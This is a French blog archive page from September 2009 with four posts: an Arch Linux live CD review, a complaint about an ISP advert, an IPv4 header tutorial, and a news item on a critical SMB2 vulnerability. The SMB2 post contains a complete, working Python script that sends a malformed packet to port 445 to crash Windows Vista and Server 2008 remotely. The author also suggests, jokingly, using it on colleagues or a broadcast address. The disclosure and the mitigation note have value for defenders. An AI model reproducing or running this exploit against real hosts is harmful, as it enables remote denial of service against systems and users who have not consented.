Archive

Archives pour 09/2009

Un livecd pour Archlinux : CTKArch

23/09/2009 Aldevar 4 commentaires

Voilà enfin l’arrivée d’une chose qui manquait cruellement à Archlinux depuis longtemps : un livecd léger!

CalimeroTeknik vient de terminer la création de la version 0.2 de son livecd, CTKArch. Cette version démontre avec zèle la grande qualité de Archlinux : la rapidité et l’efficacité (j’ai même envie de dire l’efficience).

Pour toi public, j’ai pris le temps de capturer quelques screenshots de la bête!!

Tout d’abord, le lancement. CalimeroTeknik a eu la bonne idée de proposer directement au démarrage la résolution souhaitée. Ce qui permet de profiter pleinement d’un boot en mode texte loin d’être désagréable.

archlive-boot01

004

Une fois le boot terminé, on se retrouve devant cette interface :

008

On est donc sous openbox, avec un thème gtk dark très léger en png qui permet de ne pas mettre a genou les petits processeurs. Le thème d’icônes est également pas mal du tout (à mon goût).

Au niveau des applications, nous avons :

  • Abiword, Gnumeric, ePDFviewer pour la bureautique
  • Tuxracer pour jouer
  • The gimp, gpicview pour les images
  • Smplayer et Audacious pour le multimedia, ainsi que Avidemux pour l’édition video
  • Wicd pour la gestion du réseau
  • Arora, Gftp, Midori, Pidgin, Xchat pour tout ce qui concerne Internet
  • Un switcher de thèmes GTK
  • Gparted
  • PCMan File Manager

Pour tous ceux qui ne connaissent pas encore Archlinux, ainsi que pour ceux qui se disent depuis longtemps qu’ils devraient tester cette distribution, jetez vous donc sur ce livecd et n’hésitez pas à proposer vos retour d’expériences

Je profite de ce billet pour remercier Calimero pour le travail qu’il fournit pour la communauté francophone de Archlinux, notamment en ce qui concerne la documentation.

Categories: Archlinux, News, planet-libre

Mon internet est mieux que le tiens!!!

22/09/2009 Aldevar 6 commentaires

Un tout petit billet pour pousser un coup de gueule…

orangepourri

Depuis quelques jours, on peut voir à la télé la dernière pub pour le FAI ‘historique’ français Orange. On y voit des définitions de quelques mots qui peuvent avoir plusieurs sens avec par exemple une vague (de la mer) et une vague (une hola dans un stade). L’annonce se conclue par « internet » et « internet par orange ».

On se pose donc la question de savoir ce que l’internet d’Orange à de mieux que celui de Free ou de Neuf. En plein débat sur la neutralité du net, et notamment aux USA, cette réclame tombe au plus mauvais moment. Même si cette pub semble inoffensive, elle participe à faire rentrer dans le crane du français moyen qu’il y a différents internet et que selon le FAI qu’on choisit, on peut ne pas accéder aux mêmes contenus.

En gros,  c’est pour Orange un moyen de  remettre en cause la neutralité du net.

Si vous voulez en savoir plus, Guillaume Champeau en parle sur numérama et écran.fr en rajoute une couche.

Categories: Humeur, planet-libre

QRQVB : Datagramme IP

16/09/2009 Aldevar 4 commentaires

Je vais tenter dans cet article de décortiquer un datagramme IP et notamment son en-tête. Nous allons commencer par l’observation des encapsulations des données suivant le modèle OSI que nous avons étudié la dernière fois. Les données (couche application) sont encapsulées dans un message (couche 4, transport) qui est lui même encapsulé dans un paquet (couche 3, réseau), lui même encapsulé dans une trame (couche 2, liaison). Rien ne vaut un bon dessin pour comprendre.

encaps

Aujourd’hui, on va donc s’intéresser à ce que contient le petit carré vert lorsque le paquet est un paquet IP.

Cet en-tête est codé par défaut sur 20 octets. Nous allons donc nous appliquer à décrypter le contenu de chacun de ses octets. J’ai fait pour cela un schéma pas terrible mais qui me servira de support pour les explications :p.

entete

  • Le premier octet contient 2 informations.
      • La première est la version du protocole utilisé, codée sur 4 bits. pour le protocole IPv4, on utilisera le code 0100 qui correspond au 4 décimal. Pour IPv6, c’est 0110 (6 décimal).
      • La seconde information, codée également sur 4 bits contient l’IHM. C’est la longueur, en mot de 32bits (4 octets), de l’en-tête du datagramme. Par défaut, ces bits sont positionnés sur 0101, ce qui correspond au 5 décimal, ce qui est logique pour un en-tête par défaut de 20 octets.
  • Le deuxième octet est le TOS (type of service) et va définir la manière dont le datagramme doit être traité. Il se décompose lui aussi en 2 :
      • 3 bits pour la priorité à donner au datagramme (0 à 7)
      • 4 bits qui définissent chacun une option activée ou pas (1 option activée, 0 option desactivée)
          • 1er bit : D → Positionné sur 1 pour privilégier le délai d’acheminement
          • 2ème bit : T → Positionné sur 1 pour privilégier le débit
          • 3ème bit : R → Positionné sur 1 pour privilégier la fiabilité
          • 4ème bit : C → Positionné sur 1 pour privilégier le coût
      • 1 bit qui ne contient aucune information. Il est appelé MBZ pour Must Be Zero. comme son nom l’indique, ce bit doit être positionné sur 0.
  • Les 3ème et 4ème octets contiennent le champ Longueur Totale (Total Lenght). Codé sur 16 bits, il contient la taille, en octet, du datagramme complet (en-tête + données). On en déduit donc que la longueur totale du paquet ne peut dépasser 65535 octets. Grâce à cette valeur, on peut calculer la taille des données :
          • longueur données = Longueur totale – (IHM x 4)
  • Les 5ème et 6ème octets contiennent le champ Identification. Celui ci intervient lors du ré-assemblage des paquets pour reconstituer les données lorsque celles ci sont fragmentées.
  • Les 7ème et 8ème octets contiennent 2 informations.
      • 3 bits correspondent au champ flag. Il sert a déterminer l’état de fragmentation.
          • 1er bit : Réservé, il doit être sur 0
          • 2ème bit : Don’t Fragment. Indique si la fragmentation est autorisée.
          • 3ème bit : More Fragment. Positionné sur 1 il signifie que ce datagramme n’est pas le dernier fragment.
      • 13 bits correspondent au champ Position Fragment. Ce champ indique la position du fragment par rapport au premier datagramme et interviendra lors de la reconstitution du message.
  • Le 9ème octet contient le TTL (Time to Live). ‘Durée de vie’ en français. Il indique le nombre maximal de routeurs que peut traverser le datagramme. Il est initialisé par la station émettrice et décrémenté de 1 par chaque routeur qui reçoit le datagramme et le réexpédie. Si un routeur reçoit un datagramme dont le TTL est nul, il le détruit et renvoie à l’expéditeur un message ICMP. Le but de ce champ est d’éviter les paquets fantômes qui circuleraient en boucle sur le réseau sans atteindre leur destination.

Pour la petite histoire, c’est de cette manière que fonctionne l’application traceroute. Lorsqu’on lance traceroute www.aldevar.fr, traceroute envoie un ping vers www.aldevar.fr avec un TTL de 1. Lorsque le premier routeur reçoit le paquet, il le détruit et renvoie à l’expediteur un message ICMP l’informant que le paquet a été détruit (time to live exceeded). Ce message ICMP contient dans son en-tête l’adresse IP du routeur. Suite à cela, traceroute recommence l’opération mais avec un TTL de 2 et ainsi de suite jusqu’à toucher www.aldevar.fr. Et c’est de cette manière qu’on obtient la route prise par notre paquet. Attention ceci dit car 2 paquets envoyés vers la même destination peuvent emprunter des routes différentes.

  • Le 10ème octet sert à coder le protocole qui se trouve dans les données qui suivent l’en-tête. Il est codé sur 8 bits. Les protocoles les plus communs sont ICMP (0000.0001), TCP (0000.0110) et UDP (0001.0001).
  • 11ème et 12ème octets : Le checksum. C’est la somme de contrôle de l’en-tête du datagramme. Chaque machine qui reçoit le paquet doit recalculer ce checksum car la modification du TTL modifie celui ci.
  • Les octets 13 à 16 contiennent l’adresse IP de la machine émétrice. C’est également l’adresse de réponse.
  • Et enfin les 4 derniers octets contiennent eux l’adresse IP de destination.

Capture de trame

Puisqu’il n’est pas particulièrement évident pour nous, simples mortels, de lire ces bits pour comprendre ce que contient le datagramme, on peut utiliser un logiciel de capture de trame tel que wireshark en mode graphique ou tcpdump en mode commande. Je vous laisse vous même découvrir ces applications. Je vais me contenter ici de montrer un screenshot d’une capture faite avec wireshark qui montre ce que ce logiciel peut nous dire sur le contenu de nos paquets.

trame01
Voici le type de paquet que nous avons capturé. C’est un simple ping entre 2 machines se situant sur des réseaux différents. Wireshark nous dit déjà que c’est un paquet ICMP. Voyons le détail de ce datagramme :

trame02
En dépliant le contenu de l’en-tête IP, voici ce que wireshark peut nous dire :

Nous sommes en IPv4.

Le header fait 20 octets (bytes et non bits).

La longueur total du datagramme est de 60 octets. On en conclue donc que nous avons 40 octets de données.

Le message n’est pas fragmenté.

Le TTL est de 128 ce qui signifie qu’après avoir traversé 128 routeurs, le paquet sera détruit.

Le protocole contenu dans les data est ICMP

Le checksum est correct.

Enfin, à la fin, les IP de départ et de destination.

Voilà, c’est terminé pour l’analyse de paquet de niveau 3. La prochaine fois, j’essaierai d’expliquer le contenu d’un en-tête  de niveau 4 (couche transport : UDP, TCP etc…) ou de niveau 2 (couche liaison, trame ethernet). Si vous trouvez que cet article manque de précision n’hésitez pas à m’en faire part.

Categories: QRQVB, planet-libre

Faille de sécurité critique dans SMB2

09/09/2009 Aldevar 3 commentaires

bsodLaurent Greffié nous fait part sur son blog d’une faille de sécurité plutôt critique concernant le protocole SMB2.

Ce protocole est implémenté dans les dernières version de Windows, à savoir Vista, Seven et Server 2008.  L’exploitation extrêmement simple de cette faille permet tout simplement de faire un BSOD à distance, sans intervention de l’utilisateur. Il suffit pour celà d’envoyer un paquet SMB2 NEGOCIATE PROTOCOL REQUEST sur le réseau, avec un ‘&’ dans l’entête du paquet. Ce simple paquet corrompu fait lamentablement planter Vista ainsi que Server 2008 (je n’ai pas réussi à reproduire ce bug sur Seven).

Laurent Greffié nous fournit gentillement  le petit script python qui va bien, avec le paquet codé en hexa.

#!/usr/bin/python
# When SMB2.0 recieve a « & » char in the « Process Id High » SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA

from socket import socket
from time import sleep

host = « IP_ADDR », 445
buff = (
« \x00\x00\x00\x90″ # Begin SMB header: Session message
« \xff\x53\x4d\x42″ # Server Component: SMB
« \x72\x00\x00\x00″ # Negociate Protocol
« \x00\x18\x53\xc8″ # Operation 0×18 & sub 0xc853
« \x00\x26″# Process ID High: –> :) normal value should be « \x00\x00 »
« \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe »
« \x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54″
« \x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31″
« \x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00″
« \x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57″
« \x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61″
« \x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c »
« \x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c »
« \x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e »
« \x30\x30\x32\x00″

)
s = socket()
s.connect(host)
s.send(buff)
s.close()

Si vous voulez vous amusez avec vos collègues, il suffit de remplacer   »IP_ADDR » au début du script par l’adresse IP de l’hôte que vous souhaitez faire tomber. Et si vous voulez vraiment mettre un gros bordel, vous pouvez carrément y mettre l’adresse de broadcast!

La solution consiste pour le moment à fermer son port 445, ce qui signifie l’arrêt simple et net des partages SMB sur les machines vulnérables.

Reste à savoir combien de temps va mettre Microsoft pour corriger cette faille.

Categories: News